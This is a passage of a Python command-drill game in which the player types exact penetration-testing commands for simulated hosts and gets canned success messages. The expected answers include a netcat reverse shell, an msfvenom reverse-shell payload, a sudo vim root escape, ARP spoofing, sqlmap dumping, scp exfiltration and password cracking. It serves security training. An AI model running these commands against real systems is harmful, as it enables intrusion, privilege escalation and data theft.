print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 29: SSH Tunneling for Port Forwarding
def host_twenty_nine():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 29: SSH Tunneling for Port Forwarding" + Style.RESET_ALL)
print("Your task is to tunnel through SSH to forward a port.")
print(Fore.YELLOW + "Hint: Use SSH port forwarding to access a restricted service." + Style.RESET_ALL)
cmd1 = "ssh -L 8080:localhost:80 user@192.168.1.29"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Port forwarded successfully." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 30: Kernel Exploitation
def host_thirty():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 30: Kernel Exploitation" + Style.RESET_ALL)
print("Your task is to exploit a kernel vulnerability.")
print(Fore.YELLOW + "Hint: Use a public exploit for a known kernel vulnerability." + Style.RESET_ALL)
cmd1 = "gcc -o exploit exploit.c"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Exploit compiled." + Style.RESET_ALL)
print("Now, run the exploit.")
cmd2 = "./exploit"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "Kernel successfully exploited! You have root access now." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 31: Buffer Overflow Exploitation
def host_thirty_one():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 31: Buffer Overflow Exploitation" + Style.RESET_ALL)
print("Your task is to exploit a buffer overflow vulnerability.")
print(Fore.YELLOW + "Hint: Use a fuzzing tool to identify the overflow point." + Style.RESET_ALL)
cmd1 = "python3 bof_fuzzer.py"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Overflow point identified at 128 bytes." + Style.RESET_ALL)
print("Now, create a payload using msfvenom.")
cmd2 = "msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.31 LPORT=4444 -f python"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "Output: Payload generated successfully." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 32: Social Engineering & Impersonation
def host_thirty_two():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 32: Social Engineering & Impersonation" + Style.RESET_ALL)
print("Your task is to gain access to a system by impersonating someone.")
print(Fore.YELLOW + "Hint: Craft a convincing email to the sysadmin requesting a password reset." + Style.RESET_ALL)
cmd1 = "python3 craft_email.py"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Email sent. Password reset received." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 33: Reverse Shell Establishment
def host_thirty_three():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 33: Reverse Shell Establishment" + Style.RESET_ALL)
print("Your task is to establish a reverse shell connection.")
print(Fore.YELLOW + "Hint: Use Netcat to set up the listener." + Style.RESET_ALL)
cmd1 = "nc -lvp 4444"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Listener set up on port 4444." + Style.RESET_ALL)
print("Now, execute the reverse shell command on the target machine.")
cmd2 = "nc 192.168.1.33 4444 -e /bin/sh"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "Output: Reverse shell established!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 34: Password Cracking
def host_thirty_four():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 34: Password Cracking" + Style.RESET_ALL)
print("Your task is to crack hashed passwords.")
print(Fore.YELLOW + "Hint: Use a password cracking tool like John the Ripper." + Style.RESET_ALL)
cmd1 = "john --wordlist=rockyou.txt hashes.txt"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Passwords cracked successfully!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 35: Privilege Escalation via Misconfigured Sudo
def host_thirty_five():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 35: Privilege Escalation via Misconfigured Sudo" + Style.RESET_ALL)
print("Your task is to escalate privileges on a Linux machine using a misconfigured sudo.")
print(Fore.YELLOW + "Hint: Use 'sudo -l' to list the allowed commands." + Style.RESET_ALL)
cmd1 = "sudo -l"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: User may run the following commands: (root) NOPASSWD: /usr/bin/vim" + Style.RESET_ALL)
print("Now, escalate privileges using the allowed command.")
cmd2 = "sudo vim -c ':!bash'"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "Output: Root shell obtained!" + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 36: Data Exfiltration
def host_thirty_six():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 36: Data Exfiltration" + Style.RESET_ALL)
print("Your task is to exfiltrate sensitive data from a target system.")
print(Fore.YELLOW + "Hint: Use SCP to transfer files securely." + Style.RESET_ALL)
cmd1 = "scp user@192.168.1.36:/path/to/data.txt ."
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Data file transferred successfully." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 37: Man-in-the-Middle Attack
def host_thirty_seven():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 37: Man-in-the-Middle Attack" + Style.RESET_ALL)
print("Your task is to perform a Man-in-the-Middle attack to capture sensitive data.")
print(Fore.YELLOW + "Hint: Use ARP spoofing to redirect traffic." + Style.RESET_ALL)
cmd1 = "arpspoof -i eth0 -t 192.168.1.1 192.168.1.37"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: ARP spoofing successful. Traffic redirected." + Style.RESET_ALL)
print("Now, capture the traffic using Wireshark or tcpdump.")
cmd2 = "tcpdump -i eth0 -w mitm.pcap"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "Output: Traffic captured and saved to mitm.pcap." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 38: SQL Injection
def host_thirty_eight():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 38: SQL Injection" + Style.RESET_ALL)
print("Your task is to exploit an SQL Injection vulnerability to dump the database.")
print(Fore.YELLOW + "Hint: Use a tool like sqlmap to automate the exploitation." + Style.RESET_ALL)
cmd1 = "sqlmap -u 'http://192.168.1.38/vuln_page.php?id=1' --dump"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Database dumped successfully." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 39: Enumerating LDAP
def host_thirty_nine():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 39: Enumerating LDAP" + Style.RESET_ALL)
print("Your task is to enumerate an LDAP server to find sensitive information.")
print(Fore.YELLOW + "Hint: Use ldapsearch to query the LDAP server." + Style.RESET_ALL)
cmd1 = "ldapsearch -x -h 192.168.1.39 -b 'dc=example,dc=com'"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: LDAP entries enumerated successfully." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 40: Exploiting WebLogic Server
def host_forty():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 40: Exploiting WebLogic Server" + Style.RESET_ALL)
print("Your task is to exploit a vulnerable Oracle WebLogic Server.")
print(Fore.YELLOW + "Hint: Use a known RCE exploit for WebLogic Server." + Style.RESET_ALL)
cmd1 = "python3 weblogic_rce.py 192.168.1.40"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Exploit successful! You have gained remote access." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 41: Exploiting WordPress Vulnerabilities
def host_forty_one():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 41: Exploiting WordPress Vulnerabilities" + Style.RESET_ALL)
print("Your task is to exploit vulnerabilities in a WordPress site.")
print(Fore.YELLOW + "Hint: Use WPScan to enumerate vulnerabilities." + Style.RESET_ALL)
cmd1 = "wpscan --url http://192.168.1.41"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Vulnerabilities enumerated. CVE-2021-1234 discovered." + Style.RESET_ALL)
print("Now, exploit the vulnerability using Metasploit.")
cmd2 = "msfconsole -q -x 'use exploit/multi/http/wp_cve_2021_1234; set RHOSTS 192.168.1.41; run'"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd2:
print(Fore.GREEN + "Output: Exploit successful! Shell access granted." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 42: Decompiling Java Bytecode
def host_forty_two():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 42: Decompiling Java Bytecode" + Style.RESET_ALL)
print("Your task is to decompile a Java .class file to understand its logic.")
print(Fore.YELLOW + "Hint: Use a tool like jd-gui for decompilation." + Style.RESET_ALL)
cmd1 = "jd-gui target.class"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Decompiled source code available." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 43: Cracking ZIP File Password
def host_forty_three():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 43: Cracking ZIP File Password" + Style.RESET_ALL)
print("Your task is to crack the password of a ZIP file.")
print(Fore.YELLOW + "Hint: Use fcrackzip with a wordlist." + Style.RESET_ALL)
cmd1 = "fcrackzip -u -D -p 'rockyou.txt' secret.zip"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Password cracked! The password is '123456'." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 44: Exploiting Weak SNMP Configurations
def host_forty_four():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 44: Exploiting Weak SNMP Configurations" + Style.RESET_ALL)
print("Your task is to exploit weak SNMP configurations to gather information.")
print(Fore.YELLOW + "Hint: Use snmpwalk to query the SNMP service." + Style.RESET_ALL)
cmd1 = "snmpwalk -v2c -c public 192.168.1.44"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: SNMP data gathered successfully." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 45: Discovering Hidden Directories in Web Servers
def host_forty_five():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 45: Discovering Hidden Directories in Web Servers" + Style.RESET_ALL)
print("Your task is to discover hidden directories on a web server.")
print(Fore.YELLOW + "Hint: Use a tool like Dirbuster or dirb." + Style.RESET_ALL)
cmd1 = "dirb http://192.168.1.45/"
user_input = input("kali@try-harder:~$ ")
if user_input.strip() == cmd1:
print(Fore.GREEN + "Output: Hidden directory '/admin' discovered." + Style.RESET_ALL)
points += 1
break
else:
print(Fore.RED + "Try Harder" + Style.RESET_ALL)
# Host 46: Wireless Network Cracking
def host_forty_six():
global points
print(Fore.CYAN + "Points: " + str(points) + Fore.RESET)
while True:
print(Fore.GREEN + "Host 46: Wireless Network Cracking" + Style.RESET_ALL)
print("Your task is to crack the password of a WPA2 wireless network.")
print(Fore.YELLOW + "Hint: Use airodump-ng to capture the handshake." + Style.RESET_ALL)
cmd1 = "airodump-ng wlan0 -w capture"
user_input = input("kali@try-harder:~$ ")